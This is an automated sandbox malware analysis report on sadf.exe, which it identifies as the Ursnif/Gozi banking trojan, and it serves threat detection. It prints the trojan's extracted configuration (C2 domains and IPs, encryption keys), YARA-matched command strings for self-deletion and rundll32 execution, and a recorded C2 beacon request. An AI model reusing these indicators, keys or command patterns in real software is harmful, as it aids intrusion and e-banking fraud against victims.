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Windows Analysis Report
sadf.exe

Overview

General Information

Sample Name:	sadf.exe
Analysis ID:	717378
MD5:	76ebba129360ad5093f0fe66910eb06d
SHA1:	a0297ed108f534539bda64c7c0df0caefc18ec09
SHA256:	f8388847ebddbc0c6db43ede0ee839fa304fc4786d4a7c8285eb746a5a2ee711
Tags:	exegozi
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Yara detected Ursnif

Found evasive API chain (may stop execution after checking system information)

Writes or reads registry keys via WMI

Writes registry values via WMI

Found API chain indicative of debugger detection

Machine Learning detection for sample

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Contains functionality to call native functions

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Contains functionality to dynamically determine API calls

Uses Microsoft's Enhanced Cryptographic Provider

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

sadf.exe (PID: 4968 cmdline: C:\Users\user\Desktop\sadf.exe MD5: 76EBBA129360AD5093F0FE66910EB06D)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "KP46f4CSOep7BSWPpucTqe9MnoQIxAJdxmnsnKjRPh30CMVAPreV/NpSazOVd2zPdnjdZQHY+Cvofnd/xGJFkA4E5BTdR3u+QObYXv8YvHazXI/uLIcOvWbvGxuUzuuk/TH9ilTtJMycrkwpZD0LW24TKdeWfJczm/L6RbpfqZr9WWDsXDbOHANWxyDHKJGDJG2IU3p48MZfoSwM4BvR2skdnwdXWfqWwHJCoFeM8tl7yqZFBScY3HlZCEubEX2H6C4V+yqjVoHuMiRO1WZeoeH9XJqrsd/oGxvQ0Xe4ONA/9P7HUNK74Au67zOyI1/CuTM0x7bMpuIbs7Bp0V/e7Z1w85k4CI7C6M3K37IicCU=", "c2_domain": ["trackingg-protectioon.cdn1.mozilla.net", "45.8.158.104", "trackingg-protectioon.cdn1.mozilla.net", "188.127.224.114", "weiqeqwns.com", "wdeiqeqwns.com", "weiqeqwens.com", "weiqewqwns.com", "iujdhsndjfks.com"], "botnet": "200000", "server": "50", "serpent_key": "hFwQ4dANrmDZu2Iu", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.384425288.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.384425288.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.384568130.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.384568130.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.384610353.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.384610353.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000002.511485713.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000002.511485713.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.384466253.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.384466253.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.384373909.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.384373909.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000002.511376097.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000000.00000003.384538617.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.384538617.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.384591559.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.384591559.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
00000000.00000003.384627029.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_fd494041	unknown	unknown	0xff0:$a1: /C ping localhost -n %u && del "%s" 0xf20:$a2: /C "copy "%s" "%s" /y && "%s" "%s" 0xec8:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S" 0xca8:$a5: filename="%.4u.%lu" 0x803:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x63a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa41:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xe72:$a9: &whoami=%s 0xe5a:$a10: %u.%u_%u_%u_x%u 0xc22:$a11: size=%u&hash=0x%08x 0xc13:$a12: &uptime=%u 0xda7:$a13: %systemroot%\system32\c_1252.nls 0x1416:$a14: IE10RunOnceLastShown_TIMESTAMP
00000000.00000003.384627029.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0xbd3:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x803:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0xc74:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xafa:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xd4b:$a9: Software\AppDataLow\Software\Microsoft\ 0x1868:$a9: Software\AppDataLow\Software\Microsoft\
Process Memory Space: sadf.exe PID: 4968	Windows_Trojan_Gozi_fd494041	unknown	unknown	0x965:$a5: filename="%.4u.%lu" 0xc63:$a5: filename="%.4u.%lu" 0x5917:$a5: filename="%.4u.%lu" 0x5c15:$a5: filename="%.4u.%lu" 0x42d:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x53df:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x35a:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x71b:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa1e:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x4e82:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x4fe3:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x530c:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x56cd:$a8: %08X-%04X-%04X-%04X-%08X%04X 0x59d0:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa25e:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa283:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xa40f:$a8: %08X-%04X-%04X-%04X-%08X%04X 0xde9:$a9: &whoami=%s 0x5d9b:$a9: &whoami=%s 0xdd1:$a10: %u.%u_%u_%u_x%u 0x5d83:$a10: %u.%u_%u_%u_x%u
Process Memory Space: sadf.exe PID: 4968	Windows_Trojan_Gozi_261f5ac5	unknown	unknown	0x894:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0xb95:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x5846:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x5b47:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x 0x42d:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x5d9:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x53df:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x558b:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s 0x931:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0xc2f:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x58e3:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x5be1:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu" 0x7c5:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0xac9:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x5777:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x5a7b:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s) 0x9f5:$a9: Software\AppDataLow\Software\Microsoft\ 0xcfa:$a9: Software\AppDataLow\Software\Microsoft\ 0x13ea:$a9: Software\AppDataLow\Software\Microsoft\ 0x1437:$a9: Software\AppDataLow\Software\Microsoft\ 0x59a7:$a9: Software\AppDataLow\Software\Microsoft\
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.sadf.exe.8c0000.1.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0.2.sadf.exe.e194a0.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Snort Signatures

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) - Source IP: 192.168.2.3 - Destination IP: 45.8.158.104

Timestamp:	192.168.2.345.8.158.10449704802033204 10/06/22-12:30:02.562975
SID:	2033204
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Malware Configuration Extractor: Ursnif {"RSA Public Key": "KP46f4CSOep7BSWPpucTqe9MnoQIxAJdxmnsnKjRPh30CMVAPreV/NpSazOVd2zPdnjdZQHY+Cvofnd/xGJFkA4E5BTdR3u+QObYXv8YvHazXI/uLIcOvWbvGxuUzuuk/TH9ilTtJMycrkwpZD0LW24TKdeWfJczm/L6RbpfqZr9WWDsXDbOHANWxyDHKJGDJG2IU3p48MZfoSwM4BvR2skdnwdXWfqWwHJCoFeM8tl7yqZFBScY3HlZCEubEX2H6C4V+yqjVoHuMiRO1WZeoeH9XJqrsd/oGxvQ0Xe4ONA/9P7HUNK74Au67zOyI1/CuTM0x7bMpuIbs7Bp0V/e7Z1w85k4CI7C6M3K37IicCU=", "c2_domain": ["trackingg-protectioon.cdn1.mozilla.net", "45.8.158.104", "trackingg-protectioon.cdn1.mozilla.net", "188.127.224.114", "weiqeqwns.com", "wdeiqeqwns.com", "weiqeqwens.com", "weiqewqwns.com", "iujdhsndjfks.com"], "botnet": "200000", "server": "50", "serpent_key": "hFwQ4dANrmDZu2Iu", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_008C47E5 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

Source: sadf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49704 -> 45.8.158.104:80

Source: global traffic

HTTP traffic detected: GET /uploaded/OefU6cYu_/2Bh5eSBuW1HoOJMcO7vA/d7SIWeoRQwnGkilzDpQ/6dU8XqIZtXmxeiGmmCE64H/f1Nt6sF7IrG2P/R1VRcVzY/_2BT38Jx_2Fbr7v8to_2FLq/VG0YsHE8mG/n_2F2PKN3TdKATV_2/FTdVW4ur9Omp/jrWMtuTkF90/3KGyudEpayTHCC/YXqBDl4ORyiaSJOw9sN_2/Fdabc1TmxPXNvinn/JCaxgYaDxedKHZk/u146Q0qWggdX24am_2/BCgVA4PEZ/TXr3WTRz0EG0cXZKBsrD/1oC2dl2fycp/FBzL9h.pct HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 45.8.158.104Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

ASN Name: ASBAXETNRU ASBAXETNRU

Source: unknown

DNS traffic detected: query: trackingg-protectioon.cdn1.mozilla.net replaycode: Name error (3)

Source: Joe Sandbox View

IP Address: 45.8.158.104 45.8.158.104

Source: unknown	TCP traffic detected without corresponding DNS query: 45.8.158.104
Source: unknown	TCP traffic detected without corresponding DNS query: 45.8.158.104
Source: unknown	TCP traffic detected without corresponding DNS query: 45.8.158.104

Source: sadf.exe, 00000000.00000002.511247920.00000000009FC000.00000004.00000010.00020000.00000000.sdmp

String found in binary or memory: http://45.8.1

Source: unknown

DNS traffic detected: queries for: trackingg-protectioon.cdn1.mozilla.net

Source: global traffic

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ursnif

Source: Yara match	File source: 0.2.sadf.exe.8c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sadf.exe.e194a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.511376097.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud

Yara detected Ursnif

Source: Yara match	File source: 0.2.sadf.exe.8c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sadf.exe.e194a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.511376097.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\sadf.exe

Code function: 0_2_008C47E5 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000003.384425288.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.384425288.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.384568130.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.384568130.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.384610353.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.384610353.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000002.511485713.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000002.511485713.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.384466253.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.384466253.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.384373909.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.384373909.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.384538617.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.384538617.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.384591559.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.384591559.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: 00000000.00000003.384627029.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: 00000000.00000003.384627029.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
Source: Process Memory Space: sadf.exe PID: 4968, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
Source: Process Memory Space: sadf.exe PID: 4968, type: MEMORYSTR	Matched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown

Writes or reads registry keys via WMI

Source: C:\Users\user\Desktop\sadf.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Users\user\Desktop\sadf.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\sadf.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\sadf.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Source: C:\Users\user\Desktop\sadf.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\sadf.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\sadf.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: sadf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000003.384425288.0000000001308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
